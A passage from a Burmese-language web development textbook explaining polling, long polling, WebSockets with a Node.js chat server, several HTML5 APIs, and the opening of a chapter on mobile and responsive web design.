ပါတယ်။ နမနူာမာှ get-data.php ကုိြ XHR သံုးပပီး (၅) စကြ္ကန့်တစ်ကကိြမ် Request လပု်ိ ပးိနမာှပဖေစ်ပါတယ်။ 



Professional Web Developer - အခန်း (၁၃) HTML5 Overview 444

ဒါိပမယ့် ဒနီညး်ကုိြသိပမ်သံုးအကြပါဘူး။  Server ကုိြ (၅) စကြ္ကန့်တစ်ကကိြမ်  Request လုပ်ိ နတယ်ဆုိတာ လက်ြိတွ့
မာှ  Bandwidth  ိတ ွ ပဖေုနး်တးီိနသလိုပါပ။ဲ  အသံုးပပုတယ်သကူြ  တစ်ိယာက်ြနစ်ှိယာက်ြကြိန ဆယ့်ိ လးငါး
ိယာက်ြထိ  အဆင်ိ ပပိကြာငး်  ိပပနိုငပ်ါိသးတယ်။  ဒထီက်ြများလာရေင်  Server  ကြ  အဆကြမ်ပပတရ်ေရေှိိ နတဲ့
Request  ိတကုိွြ ိပဖေရေငှး်ိနရေလို့ ခနံိုငမ်ာှမဟတုပ်ါဘးူ။ လက်ြိတွ့မကြျပါဘးူ။

Long Polling
ိနာက်ြတစ်နညး်ကြိတာ့  Long Pooling လိုိ့ ခါ်တဲ့နညး်ပဖေစပ်ါတယ်။ ဒနီညး်ကုိြိတာ့ အိတာ်ိ လးသံုးအကြပါတယ်။
Request တစ်ခု လက်ြခရံေရေှိတဲ့အခါ Server ကြ ချက်ြပခငး် Respond မပပနပ်ဲ အချက်ြအလက်ြ Update ရေှိိ တာမ့သှာ
Respond  ပပန်ိ အာင်  စီမထံားပခင်းပဖေစ်ပါတယ်။  ဒီိ တာ့  Client  ကြ  Request  လပုထ်ားိပမယ့်  Respond  ကုိြ
လက်ြခရံေရေှိ  ပခငး်မရေှိိ သးတဲ့အတက်ွြ  Respond  မလာမပခငး်  ိစာင့ိ် နမာှပါ။  ဒလီို  Request/  Respond  တစ်ခကုိုြ
အချနိဆ်ွဲထားပပီး ိဆာငရ်ေက်ွြတဲ့နညး်မို့  Long Pooling ိခါ်တာပဖေစ်ပါတယ်။ Server ကြ အချက်ြအလက်ြ Update
တစ်ခကုိုြ လက်ြခရံေရေှိတဲ့ အခါ (သုိမ့ဟတု်) သတမ်တှအ်ချနိ် ပပည့်သွားလို့ Timeout ပဖေစ်သွားတဲ့ အခါမှ Respond ပပန်
ပါတယ်။ ဒါိအကြာင့်  Request  ိတလွညး် ထပခ်ါထပခ်ါလပု်ိ နဖေို့ မလိုိ တာသ့လို  Server  ကြလညး် Update ရေှိရေင်
ချက်ြပခငး်  Respond  လပုမ်ာှမို့  အိတာ်ိ လး  Real-Time  ပဖေစ်လာိစတယ်လို့  ဆုိနိုငပ်ါတယ်။  ိရေးသားပုံနမနူာ
ိဖောပ်ပိပးလိုက်ြ ပါတယ်။

[ Client ]

function pollStart () { 
  $.get('chat.php', function(msg) { 
    $("#chat-box").append(msg.text); 
    pollStart(); 
  }, 'json'); 
}; 

pollStart();

pollStart() Function  ကြ  chat.php ကုိြ  XHR သံုးပပီး  Request  လုပ်ိ ပးပါတယ်။  Respond  လက်ြခရံေရေှိ
တာနဲ့ pollStart() Function ကုိြပဲ ချက်ြပခငး်ပပန်ိ ခါ်ထားလို့ အဆက်ြမပပတ်  Request လုပ်ိ နတဲ့သိဘာ ပဖေစ်
မာှပါ။ ဒါိပမယ့် Respond ကုိြ ချက်ြပခငး်ပပန်ိ ပးပဲ Update ရေှိမပှပန်ိ ပးိအာင် Server-side ဘက်ြမာှစီစဉထ်ားမာှမို့
ပပဿနာ မရေှိပါဘးူ။ 

[ Server ]

$time = time(); 
while((time() - $time) < 30) { 
  $data = get_update(); 
  if($data) { 
    echo $data; 
    break; 
  } 
  usleep(500000); 
}
echo "";
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Server-side မာှ စကြ္ကန့် (၃၀) အကြာ Loop လပု်ိ နိစမယ့် while() Loop တစ်ခုိ ရေးသားထားပါတယ်။ ဒီ စကြ္ကန့်
(၃၀)  အတငွး်  Loop  ကြ Data Update  ရေှိမရေှိ စကြ္ကန့်ဝက်ြတစ်ကကိြမ် စစ်ိဆးထားပါတယ်။  Data Update  ရေှိတာနဲ့
Data ကုိြ ရုိက်ြထတု်ိ ပးလိုက်ြတဲ့အတက်ွြ ရုိက်ြထတု် ိပးလိုက်ြတဲ့ရေလဒကုိ်ြ Respond အိနနဲ့ပပန်ိ ပးသွားမာှပါ။  မရေှိ
ရေင်ိ တာ ့ Loop ကုိြသာဆက်ြပပီး ပတ်ိ နမာှပဖေစ်လို့ Respond လညး် လုပဦ်းမာှမဟတုပ်ါဘးူ။

မတ်ှချကြ်  ။  ။ usleep() Function  ကြ  Script  ကြိုကြာလတစခ်အုကြာိခတ္တ ရေပန်ားထားိစပါတယ။်  ရေပန်ားိစလုိတ့ဲအချိနက်ြို
Microsecond နဲ့သတ်မှတ်ထားရေပါတယ။် Millisecond မဟတ်ုပါဘးူ။ One Microsecond မာှ စကြ္ကန့်ိ ပါငး် (၁) သနး် ပါဝင်
ပါတယ။်

Client  ကြ  (၅)  စကြ္ကန့တ်စ်ခါ  Request  လပုပ်ခငး်နဲ့စာရေင်  ကွြာပခားသွားချက်ြကြိတာ့  Request/Respond
အဆက်ြမပပတ်  ပပုလပု်ိ နစရောမလိုိ တာလ့ို့  Bandwidth  အသံုးပပုမှု သက်ြသာသွားပခငး်ပပဲဖေစ်ပါတယ်။  နမနူာကုိြ
eimaung.com/pwd-rc/ ကြိန Download ရေယူ စမး်သပအ်ကြည့်နိုငပ်ါတယ်။

WebSockets
HTML5  မာှိတာ့  Real-Time App  ိတတွည်ိ ဆာက်ြဖေို့အတက်ွြ သီးပခားရေညရ်ေယ်ွထားတဲ့  WebSockets  နညး်
ပညာ  ပါဝငလ်ာပပပီဖေစ်ပါတယ်။  WebSockets  ကြ  Client-side  Feature  တစ်ခပုဖေစ်လို့  လပု်ိ ဆာငခ်ျက်ြပပည့်စံုဖေို့
အတက်ွြ  Server-side  ဘက်ြကြလညး်  Socket Server  တစ်ခကုိုြ  Setup  လုပထ်ားိပးရေမာှပါ။  PHP  နဲ့  Socket
Server  ိရေးသားနိုင်ိ ပမယ့်၊  လက်ြိတွ့မာှ  ဒအီတက်ွြ  သီးပခားရေညရ်ေယ်ွထားတဲ့  Node.JS  လို  နညး်ပညာမျို းကုိြ
WebSockets နဲ့ တွဲဖေက်ြအသံုးပပုသင့်ပါတယ်။ WebSockets ကုိြ Node.JS Back-end နဲ့ တဲွဖေက်ြပပးီ  Real-Time
Chat App တစ်ခုိ ရေးသားပုံနမနူာ ိဖောပ်ပိပးလိုက်ြပါတယ်။

[ WebSockets Client in JavaScript ]

var connection = new WebSocket('ws://127.0.0.1:8000/'); 
connection.onmessage = function (res) { 
  $("#chat-box").append( res.data ); 
};

$("#send").click(function() { 
  connection.send( chatMsg ); 
}); 

JavaScript WebSocket Instant ကုိြသံုးပပးီ Socket Server ထံ Connection တစ်ခဖုေငွ့်ထားပါတယ်။ URL မာှ
Protocol အိနနဲ့ http:// မသံုးပဲ ws:// သံုးိပးရေပါတယ်။ Socket Server အလပုလ်ပု်ိ နတဲ့ Port ကုိြလညး်
ထည့်သွငး်ိပးရေပါတယ်။

Server  ကြ အချက်ြအလက်ြတစ်ခုိ ပးပိုလ့ာရေင်  onmessage Event  မာှ သတမ်တှထ်ားတဲ့ လပု်ိ ဆာငခ်ျက်ြများကြ
အလပုလ်ပုသွ်ားမာှပဖေစ်ပပးီ၊ Server ထံ အချက်ြအလက်ြိပးပို့လိုရေင်ိ တာ့ send() Method ကုိြအသံုးပပုနိုငပ်ါတယ်။
ဒနီညး်နဲ ့WebSocket Client ကြ အချက်ြအလက်ြကုိြ ိပးပိုန့ိုငသ်လို၊ လက်ြလညး်လက်ြခနံိုငသွ်ားပါတယ်။

http://eimaung.com/pwd-rc/
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[ Socket Server in Node.JS ]

var WebSocketServer = require('websocket').server; 
var http = require('http'); 

var server = http.createServer(function(request, response) { }); 
server.listen(8000, function() { }); 

wsServer = new WebSocketServer({ 
  httpServer: server 
}); 

var clients = []; 
wsServer.on('request', function(req) { 
  var conn= req.accept(null, req.origin); 
  clients.push(conn); 
  conn.on('message', function(msg) { 
    for (var i=0; i < clients.length; i++) { 
      clients[i].sendUTF(msg.utf8Data); 
    } 
  }); 
});

Node.JS  အိအကြာငး်ကုိြ  ဒစီာအုပမ်ာှ  အိသးစိတမ်ိဖောပ်ပနိုင်ိ ပမယ့်  JavaScript  နဲ့ပဲ  ိရေးသားထားတာပဖေစ်လို့
Code  ကုိြိလလ့ာအကြည့်လိုက်ြရေင်  အလပုလ်ပုပ်ုံသိဘာကုိြ  နားလညန်ိုငမ်ာှပါ။  Rockstar  Developer ရေဲ့  အခနး်
(၁၀) မာှိတာ ့NodeJS အိအကြာငး်ကုိြ ိဖောပ်ပထားပါတယ်။

ပထမဆံုး require() Function ကုိြသံုးပပးီ websocket နဲ့ http Package များကုိြ Include လပုယူ်ပါတယ်။
ပပးီိတာမ့ှ http.createServer() သံုးပပးီ Web Server တစ်ခတုည်ိ ဆာက်ြလိုက်ြပါတယ်။ Server Port ကုိြ
ိတာ ့8000 လို့သတမ်တှထ်ားပါတယ်။

ိနာက်ြတစ်ဆင့်မာှမှ  Socket Server  တစ်ခု ကုိြ  new WebSocketServer  လိုိ့ ရေးသားပပးီ တည်ိ ဆာက်ြပါတယ်။
ပထမအဆင့်မာှ တည်ိ ဆာက်ြခဲ့တဲ့  httpServer  ကုိြပဲ တစ်ဆင့်ပပနသံု်းထားတာပဖေစ်လို့  Port 8000 မာှ အလပု်
လပု ်ိနတာ၊  ရုိးရုိး Web Server မဟတု်ိ တာပ့ ဲFull-Duplex Socket Server တစ်ခပုဖေစ်သွားပါတယ်။

ဆက်ြလက်ြပပးီ  Socket Server  ကုိြ ဆက်ြသွယ်လာတဲ့  Client  များကုိြ  clients Array  ထဲမာှ စုစညး်ထည့်သွငး်တဲ့
လပု်ိ ဆာငခ်ျက်ြကုိြ  on("request") မာှိဆာငရ်ေက်ွြထားပါတယ်။  Client  များထကဲြ တစ်ခကုြ အချက်ြအလက်ြ
များ ိပးပိုလ့ာရေင် ိဆာငရ်ေက်ွြရေမယ့် လပု်ိ ဆာငခ်ျက်ြိတကုိွြိတာ့  on("message") မာှ သတမ်တှထ်ားပါတယ်။
နမနူာ အရေ Client  တစ်ခုိ ပးပို့လာတဲ့ အချက်ြအလက်ြကုိြ လက်ြခရံေရေှိရေင်  clients Array ကုိြ  Loop လပုပ်ပးီ ရေှိသမျှ
Client  အားလုံးထလံက်ြခရံေရေှိ  လိုက်ြတဲ့အချက်ြအလက်ြကုိြ  sendUTF() Method  သံုးပပးီိပးပိုလ့ိုက်ြပခငး်ပဖေစ်ပါ
တယ်။ ဒါိအကြာင့် Client တစ်ခကုြ Socket Server ထံ အချက်ြအလက်ြတစ်ခုိ ပးပို့တာနဲ့ Socket Server ကြ အ့ဲဒီ
အချက်ြအလက်ြကုိြ Client အားလုံးထ ံပပနလ်ည်ိ ပးပို ့လိုက်ြမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ ့Real-Time Chat App တစ်ခု
ကုိြတည ်ိဆာက်ြယနူိုငမ်ာှပါ။
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WebSockets Support  မလပုတ်ဲ့  Browser  ိတမွာှ တူညတီဲ့  လပု်ိ ဆာငခ်ျက်ြရေိအာင်  Fallback  အပဖေစ်  Long
Polling  နညး်စနစ်နဲ့အလိုအိလျှာက်ြိပပာငး်လလဲပု်ိ ဆာင်  ိပးသွားနိုငတ်ဲ့  socket.io က့ဲြသုိ့ိ သာနညး်ပညာကြ
အသင့်ရေှိိ နပါတယ်။

13.11 - Other APIs
ိဖောပ်ပခဲ့တဲ့ ပဖေည့်စွက်ြနညး်ပညာိတွိ အကြာင့်  HTML5  ဟာ  Document Markup  သက်ြသက်ြမဟတု်ိ တာပ့ဲ  Web
App  ိတရွေဲ့အိပခခံ  လုိအပခ်ျက်ြိတကုိွြပဖေည့်ဆည်းိပးထားတဲ့  နညး်ပညာတစ်ခပုဖေစ်လာတာကုိြ  သတပိပုမမိာှပါ။
Web App  များ တည်ိ ဆာက်ြရောမာှ  အသံုးဝငန်ိုငတ်ဲ့  အပခားစိတဝ်ငစ်ားဖေယ်ွ  API  အချို ့ကုိြ  ဆက်ြလက်ြိဖောပ်ပိပး
လိုက်ြပါတယ်။ 

File API - လုံပခုံိရေးရှု ထာင့်အရေ Web App ိတအွိနနဲ့ Client ကွြနပ်ျူတာရေဲ့အချက်ြအလက်ြိတကုိွြ ထခိငွ့် မရေ
အကြပါဘးူ။ HTML5 File API ကြလညး် Client ကွြနပ်ျူတာထမဲာှ File ိတ ွတည်ိ ဆာက်ြခငွ့်၊ ပယ်ဖေျက်ြခငွ့်မပပုပါ
ဘးူ။ ဒါိပမယ့် File,  FileReader,  FileList စတဲ့ JavaScript Object များကုိြအသံုးပပုပပးီ File ိတရွေဲ့  Name,
Size,  Type  အစရေှိတဲ့  အချက်ြအလက်ြိတကုိွြဖေတယူ်နိုင်ိ အာင်  ိဆာငရ်ေက်ွြိပးထားပါတယ်။  ဒီိ တာ့  File  ိတနွဲ့
အလပုလ်ပုရ်ေတဲ့ App ိတမွာှ Server ထံ File ိတွိ ပးပို့ပပးီိအာင် ိစာင့်ပပးီမှ အလပု်ိ တကုိွြလပု်ိ နစရော မလိုိ တာ့
ပါဘးူ။ File Size စစ်ိဆးပခငး်၊ File Preview ိဖောပ်ပိပးပခင်းစတဲ့ကိြစ္စ တကုိွြ JavaScript နဲ့တင် ိဆာငရ်ေက်ွြနိုင်
ိစမာှပဖေစ်ပါတယ်။

Drag & Drop API - ယခငက်ြ Drag & Drop User Interface များရေရေှိဖေို့  JavaScript Framework များရေဲ့
အကူြ  အညနီဲ့  ကုိြယ်တိုင်ိ ရေးသားခဲ့အကြရေပါတယ်။  HTML5  မာှိတာ့  dragstart,  dragenter,  dragover,
dragleave, dragdrop, dragend စတဲ့ Drag & Drop Event များ ပဖေည့်စွက်ြပါဝငလ်ာပါတယ်။ Element တစ်ခု
ကုိြ  Drag  လပုလ်ို့ရေတဲ့   Element  ပဖေစ်ိစဖေို့  အတက်ွြလညး်  သက်ြဆုိငရ်ော   Element  မာှ  draggable="true"
Attribute သတမ်တှ်ိ ပးလိုက်ြယံုပပဲဖေစ်ပါတယ်။

Geolocation API - အသံုးပပုသူရေဲ့တည်ိ နရော  Location ကုိြ ရေယူနိုင်ိ စမယ့် API ပဖေစ်ပါတယ်။ Location သိရေှိ
ရေနိုငတ်ဲ့နညး်လမး်ိတကွြ အမျို းမျို းရေှိပါတယ်။ IP Address ကြိနသိရေှိရေနိုငပ်ါတယ။် Wifi Router  ကြိနတစ်ဆင့်
သိရေှိရေ နိုငပ်ါတယ်။ Mobile Device ဆုိရေင် Cell Tower ကြိနသိရေှိရေနိုငပ်ါတယ်။ Device မာှပါဝငတ်ဲ့ GPS ကြိန
သိရေှိရေနိုင် ပါတယ်။ Geolocation API ကြ ိနာက်ြကွြယ်ကြကြ အိသးစိတကုိ်ြ ကြျွန်ိ တာတ်ို့ ကုိြယ်တိုငကုိ်ြငတ်ယ်ွစရော
မလိုပဲ JavaScript အသံုးပပုပပးီ Location ကုိြရေယူနိုင်ိ စပါတယ်။ ကြျွန်ိ တာတ်ို့  App ကြ အသံုးပပုသူရေဲ့တည်ိ နရော
ကုိြ သိရေှိရေမာှပဖေစ်လို့  App  ရေဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  Location  နဲ့ကိြက်ုြညီိ အာင် လုိအပသ်လို  Enhance  လုပ်ိ ပး
နိုငသွ်ားမာှပဖေစ်ပါတယ်။

http://socket.io/
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History API - Gmail  ကုိြ ဥပမာအပဖေစ်အကြည့်ပါ။  Gmail Interface  ဟာ  Ajax  ကုိြသံုးထားတဲ့  Single Page
Interface  တစ်ခပုဖေစ်ပါတယ်။  Inbox  ကြိန Mail  တစ်ိစာငကုိ်ြဖေငွ့်လိုက်ြရေင်  ိနာက်ြစာမျက်ြနာှတစ်ခကုိုြ ိဖောပ်ပမာှ
မဟတုပ်ဲ လက်ြရေှိ Page ထမဲာှပဲ Email ကုိြိဖောပ်ပိပးမာှပါ။ အ့ဲဒအီချနိမ်ာှ Browser ရေဲ့  Back Button ကုိြ နှိပလ်ိုက်ြ
ရေင် ဘာပဖေစ် မလဲ? Back Button ရေဲ့သဘာဝကြ "ပပးီခဲ့တဲ့  Page" ကုိြပပနသွ်ားဖေိုပ့ါ။  Gmail  မာှကြ Inbox အတက်ွြ
Page တစ်ခု, Email ဖေတဖ်ေို့အတက်ွြ Page တစ်ခု အသုံးပပုထားတာ မဟတုပ်ါဘးူ။ လပုင်နး်အားလုံးကြ Page တစ်ခု
တညး်နဲ့အလပု်  လပုသွ်ားတာပါ။  ဒါိအကြာင့်  Browser  Back  Button  ကုိြနှိပလ်ိုက်ြရေင်  Inbox  ကုိြပပနမ်ိရောက်ြပဲ့
Gmail မတိုငခ်ငက်ြ ဖေငွ့်ထားခဲ့တဲ့ Website တစ်ခကုိုြ ပပန်ိ ရောက်ြသွားမယ့် သိဘာပဖေစ်ိနပါတယ်။

ဥပမာအပဖေစ်ိပပာတာပါ။  Gmail  ကြိတာ့ အ့ဲဒလီိုမပဖေစ်ိအာငစီ်မထံားပပီးပဖေစ်လို့၊  Browser Back Button  ကုိြ နှိပ်
လိုက်ြ ရေငလ်ညး် Gmail မတိုငခ်ငက်ြ Website ကုိြ ပပနမ်သွားိစပဲ Inbox ကုိြပပဲပနလ်ည်ိ ရောက်ြသွားမာှ ပဖေစ်ပါတယ်။
ကြျွန်ိ တာ်  တို့ရေဲ့  Ajax  App  ိတမွာှလညး်  အ့ဲဒလီိုလပု်ိ ဆာငခ်ျက်ြမျို းရေရေှိိ အာင်  History  API  အသံုးပပုပပးီ
ိဆာငရ်ေက်ွြနိုငပ်ါ တယ်။ ဒ ီAPI ကြ Browser History ကုိြ JavaScript နဲ့စီမနံိုင်ိ အာငစီ်စဉ်ိ ပးထားပါတယ်။  

Conclusion
HTML5  မာှ  ပါဝငလ်ာတဲ့  အသုံးဝငတ်ဲ့  လုပ်ိ ဆာငခ်ျက်ြသစ်ိတကွြအိတာမ်ျားပါတယ်။  ဒအီခန်းမာှိတာ့
ိလာိလာဆယ်  လက်ြိတွ့အသံုးချလို့ရေမယ့်  Feature  များနဲ့  Browser  Support  ပိုငး်မာှ  လက်ြခနံိုင်ိ လာက်ြတဲ့
အဆင့် ိရောက်ြရေှိိ နပပးီ ပဖေစ်တဲ့ လပု်ိ ဆာငခ်ျက်ြများကုိြ အဓကိြိရေးွချယ်ိ ဖောပ်ပခဲ့ပခင်းပဖေစ်ပါတယ်။

HTML5  ဟာ  Web App  များရေဲ့  အိပခခနံညး်ပညာပဖေစ်ယံုသာမကြ၊  Mobile App  ိတ ွတည်ိ ဆာက်ြဖေို့ကုိြလညး်
အသံုးပပုနိုငတ်ဲ့  နညး်ပညာတစ်ခပုဖေစ်ပါတယ်။  Mobile  App  တစ်ခတုည်ိ ဆာက်ြတဲ့အခါ  Android,  iOS,
Windows Mobile စသပဖေင့်  Mobile Platform အမျို းမျို းကုိြ  Support  လပုန်ိုငဖ်ေို့အတက်ွြ ပုံမနှဆုိ်ရေင၊်  Platform
တစ်ခအုတက်ွြ  App  တစ်ခု  သီးပခားစီ  ဖေနတ်းီတည်ိ ဆာက်ြရေိလရ့ေှိပါတယ်။  HTML5  နညး်ပညာများကုိြသံုးပပးီ
Mobile Browser ိတကွြိန အသံုးပပုနိုငတ်ဲ့ Mobile Web App ိတ ွတည်ိ ဆာက်ြနိုငသ်လို၊ Cordova လို နညး်
ပညာမျို းရေဲ့  အကူြအညနီဲ့ HTML5 ကုိြသံုးပပးီ App ကုိြ တစ်ကကိြမတ်ည်ိ ဆာက်ြယံုနဲ့ Mobile Platform အမျို းမျို းမာှ
အလပုလ်ပုန်ိုငတ်ဲ့ App ိတရွေရေှိိ အာငလ်ညး် စီစဉန်ိုငပ်ါတယ်။  

မရေငှး်မာှစုိးလို့  တစ်ခထုည့်ိ ပပာပါရေိစ။  Mobile  Web  App  ဆုိတာ  Mobile  Device  ိတမွာှပါဝငတ်ဲ့  Web
Browser ကြိနတစ်ဆင့် အသံုးပပုရေတဲ့ App ိတကုိွြ ဆုိလိုပခငး်ပဖေစ်ပပးီ၊ HTML5 Mobile App ဆုိတာ HTML5
နညး်ပညာကုိြ  အသံုးပပုတည်ိ ဆာက်ြထားပခငး်ပဖေစ်ိပမယ့်  Browser  ကြိနသံုးစရောမလိုပဲ  သက်ြဆုိငရ်ော  Mobile
Device  မာှ  Install  လုပ်  ထားနိုငတ်ဲ့  App  ကုိြဆုိလိုတာပါ။  လက်ြရေှိမာှ  Mobile  Web  App  ိတနွဲ့  HTML5
Mobile App  ိတဟွာ  Native App  ိတွိ လာက်ြ စွမး်ိဆာငရ်ေညပ်ိုငး်မာှ  ိကြာငး်မနွပ်ခငး်မရေှိိ သးိပမယ့် နညး်
ပညာတစ်ခတုညး်နဲ့ တစ်ကကိြမတ်ည်ိ ဆာက်ြယံုနဲ့ Mobile Platform အမျို းမျို း အတက်ွြ App ိတကုိွြရေရေှိနိုငတ်ယ်ဆုိ
တဲ့  အလားအလာဟာ အိတာ်ိ လးစိတဝ်ငစ်ားစရောပပဲဖေစ်ပါတယ်။ လက်ြရေှိမာှလညး်  LinkedIn,  Netflex,  Mafia
Wars,  Finical  Times,  Wunderlist  စတဲ့  ိအာငပ်မင်ိ နတဲ့  HTML5 Mobiel  App  ိတ ွရေှိိ နသလို  Zoho,
Google Doc, Google Drive, Scribd, HootSuite တို့လို ိအာငပ်မင်ိ နတဲ့ Mobile Web App ိတလွညး် ရေှိိ န
ပါတယ်။ အခန်း (၁၄) မာှ Mobile Web အိအကြာငး် ဆက်ြလက်ြိဖောပ်ပမာှပဖေစ်ပါတယ်။





          ပံုနိှပ်မူစာအုပ်               

ဤစာအပ်ု၏ ပံုနိှပ်မူကြို ရေန်ကြန်ု၊ မန္တ လးနှင့်               

မံုရောွပမို့တုိရ့ေှိ စာအပ်ုဆိုင်များတွင် (၁၀,၀၀၀) ကြျပ်ပဖေင့်               

ဝယယ်နုိူင်ပါသည။် ဆက်ြသွယရ်ေန် - လန်ွိဆးပမိုင်စာိပ               

(၀၉) ၅၀ ၇၆၀ ၂၄   (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               
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အခနး် (၁၄) Mobile Web
Responsive Web Design နညး်စနစ် လကြ်ိ တွ့အသံုးပပုပံု

၂၀၁၃  ခနုစ်ှ  ဧပပလီမာှ  ိကြာက်ြယူခဲ့တဲ့စစ်တမး်တစ်ခအုရေ  တစ်ကြမ္ဘာလုံးအတိုငး်အတာနဲ့  Mobile  Device  ကြိန
အငတ်ာနက်ြ အသုံးပပုသူိပါငး် ၁.၂ ဘလီယံီရေှိတယလ်ို့သိရေပါတယ်။ အ့ဲဒထီကဲြ (၂၅%) ကြ အငတ်ာနက်ြကုိြ Mobile
Device ကြိန အပမသဲုံးပပးီ Desktop/ Laptop ကြိနသိပမ်သံုးအကြဘးူလို့ဆုိပါတယ်။ ၂၀၁၅ ခနုစ်ှ ိရောက်ြတဲ့အခါ မာှ
ိတာ့  Mobile Device  ကြိန အငတ်ာနက်ြအသံုးပပုသူ အိရေအတက်ွြဟာ Desktop / Laptop  ကြိန အသံုးပပုသူ
အိရေအတက်ွြကုိြ ိကြျာလ်နွသွ်ားခဲ့ပပီ ပဖေစ်ပါတယ်။ ိရေှ့ဆက်ြလညး် Mobile Device ကြိန အငတ်ာနက်ြ အသံုးပပုသူ
ိတ ွအလျငအ်ပမနတ်ိုးိနဦးမာှ ပဖေစ်ပါတယ်။

ပုံ (၁၄-ကြ) Mobile and Desktop Market Share
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ဒါိအကြာင့် ဒအီချနိမ်ာှ  Mobile Web ဘယ်ိလာက်ြအိရေး ပါိအကြာငး် ဌကီြာချဲ့ ိနစရောမလိုိ တာပ့ါဘူး။  "တစ်ချနိမ်ာှ
Mobile ကြ အိရေးပါလာလမိ့်မယ်" လို့ ိပပာခဲ့ရေတဲ့အချနိကိ်ြု ိကြျာခ်ဲ့ပါပပ။ီ ကြိန့ိ ခတဟ်ာ  Mobile ိခတ် ပဖေစ်ိနပါ
ပပ။ီ  ကြျွန်ိ တာတ်ိုတ့ည်ိ ဆာက်ြတဲ့  Website  ိတကုိွြ  သံုးမယ့်  သူရေဲ့ထက်ြဝက်ြိကြျာက်ြ  Mobile  Device  ကြိန
အသံုးပပုအကြမာှပဖေစ်ပါတယ်။ 

ကြိန့ိ ခတ် Mobile Device ိတဟွာ Desktop ကွြနပ်ျူတာိတွိ လာက်ြနးီနးီ Processing Power ရေှိအကြပါတယ်။
ပပးီိတာ့ Mobile Browser ိတကွြလညး် Desktop Browser ိတမွာှရေတဲ့ လပု်ိ ဆာငခ်ျက်ြ အားလုံးကုိြရေိနအကြပါ
တယ်။ တစ်ခါတစ်ရေံ သူတို့ကြိတာငပ်ိုပပးီ နညး်ပညာိရေှ့ိပပးိနပါိသးတယ်။ Desktop မာှ အလပုလ်ပုတ်ဲ့ Website
တစ်ခဟုာ  အိပခခအံားပဖေင့်  Mobile  မာှလညး်  အလပုလ်ပုန်ိုငမ်ာှပပဲဖေစ်ပါတယ။်  ဒါိပမယ့်  တစ်ကြယ့်  ပပဿနာကြ
Screen Size ပါ။ Mobile Device ိတရွေဲ့  Screen Size ဟာ Desktop Screen ထက်ြ အများကကီြး ိသးိနတာကြ
ပပဿနာပါ။

Desktop Screen အတက်ွြရေညရ်ေယ်ွဖေနတ်းီထားတဲ့ Website တစ်ခကုိုြ Mobile Screen မာှ ိဖောပ်ပရေတဲ့အခါ အဆင်
မိပပမှု တ ွအမျို းမျို းိတွ့လာရေမာှပါ။  Site တစ်ခလုုံးကုိြ ပမငရ်ေိအာငခ်ျုံ့အကြည့်ရေင် Content ကြ အရေမး်ိသးိနနိုငပ်ါ
တယ်။ ဒါကုိြ ကကီြးိအာငဆိ်ပုပးီ Zoom လပုလ်ိုက်ြပပန်ိ တာလ့ညး် အ့ဲဒတီစ်ိနရောိလးပကွဲြက်ြပမငရ်ေပါတယ်။ ဘာပဲိ ပပာ
ိပပာ အနညး်ဆံုးိတာ ့သံုးလို့ရေိနတာပလဲို့ ိတးွခဲ့ဖေးူပါတယ။် ဒါိပမယ့် လက်ြိတွ့မာှသံုးလို့မရေပါဘူး။

အသံုးပပုသူိတဟွာ  Website  တစ်ခမုာှ ပါဝငတ်ဲ့အချက်ြအလက်ြိတကုိွြ တစ်လုံးချငး်လိုက်ြဖေတ်ိ နိလမ့ရေှိအကြပါဘူး။
ဟိုနား ဒနီား ဒလီိုပလဲိုက်ြအကြည့်သွားအကြိလရ့ေှိပါတယ်။ မျက်ြလုံးနဲ့ Scan လပုသွ်ားတဲ့သိဘာပါ။ Scan လုပသွ်ားပပီးမှ
တစ်ချို ့ အပိုငး်ိတကုိွြ ိရေးွချယ်ပပးီ အိသးစိတဆ်က်ြအကြည့်ရှုိလရ့ေှိတာပါ။ Mobile Screen မာှ Desktop Website
တစ်ခလုုံးကုိြ ဆန့်ိ အာင်ိ ဖောပ်ပိနစဉမ်ာှ သိပ်ိ သးလို့  Scan လပုလ်ို့မရေပါဘးူ။ ကကီြးိအာင် Zoom လပုလ်ိုက်ြပပနရ်ေင်
လညး် တစ်ိနရောပကွဲြက်ြပမငရ်ေလို့  Scan လုပလ်ို့မရေပပနပ်ါဘးူ။ ဘယ်လိုအိပခ အိနမာှမှ  Desktop Website  တစ်ခု
ကုိြ Mobile Screen မာှ Scan လုပလ်ို့မရေပါဘးူ။ Scan လုပလ်ို့မရေလို့ဆုိပပးီ အသံုးပပုသူကြ အချနိကု်ြနခ်ံ တစ်လုံးချငး်
လိုက်ြပပးီိတာလ့ညး်  ဖေတ်ိ နမာှမဟတုပ်ါဘးူ။  လိုက်ြမဖေတတ်ဲ့အတက်ွြ  Website  မာှ  သူတစ်ကြယ်စိတဝ်င်  စားတဲ့
ကြဏ ပါမပါလညး်သိမာှ မဟတု်ိ တာလ့ို့  သံုးမာှလညး်မဟတုပ်ါဘးူ။ ဒါိအကြာင့်  Mobile User  ိတ ွကြျွန်ိ တာတ်ို့
Website ကုိြ အသံုးပပုိစလိုရေင ်Website ကြ Mobile Screen နဲ့ လုိက်ြိလျှာညီိ ထ ွအလပုလ်ပု်ိ ပးနိုငရ်ေမာှပါ။

Website ိတကုိွြ Mobile Screen နဲ့လိုက်ြိလျာညီိ ထပွဖေစ်ိအာင် Design လုပ်ိ တာမ့ယ်ဆုိိတာ့ ိနာက်ြပပဿနာ
တစ်ခု ထပ်ိ ပါ်လာပပနပ်ါတယ်။ Mobile Screen ိတကွြ Size အမျို းမျို း ပဖေစ်ိနပခငး်ပဖေစ်ပါတယ်။ Smart Phone
တစ်မျို း တညး်မာှကုိြပဲ  iPhone ကြ Size တစ်မျို း၊  Samsung Galaxy S4 ကြ Size တစ်မျို း၊  Galaxy Note  ကြ
Size  တစ်မျို း၊  HTC One  ကြ  Size  တစ်မျို း  စသပဖေင့်  အမျို းမျို းပဖေစ်ိနပါတယ်။  Tablet  မာှလညး်  iPad, iPad
Mini,  Nexus 7, Nexus 9  စသပဖေင့်  Size  ကြအမျို းမျို းထပရ်ေှိလာပပနပ်ါတယ်။ အ့ဲဒါကုိြမှ  Orientation  အတက်ွြ
လညး် ထည့်စဉး်စားရေပါဦးမယ်။ Portrait Mode နဲ့ဆုိရေင်  Size  အချို းကြ တစ်မျို းပဖေစ်သွားပပးီ Landscape Mode
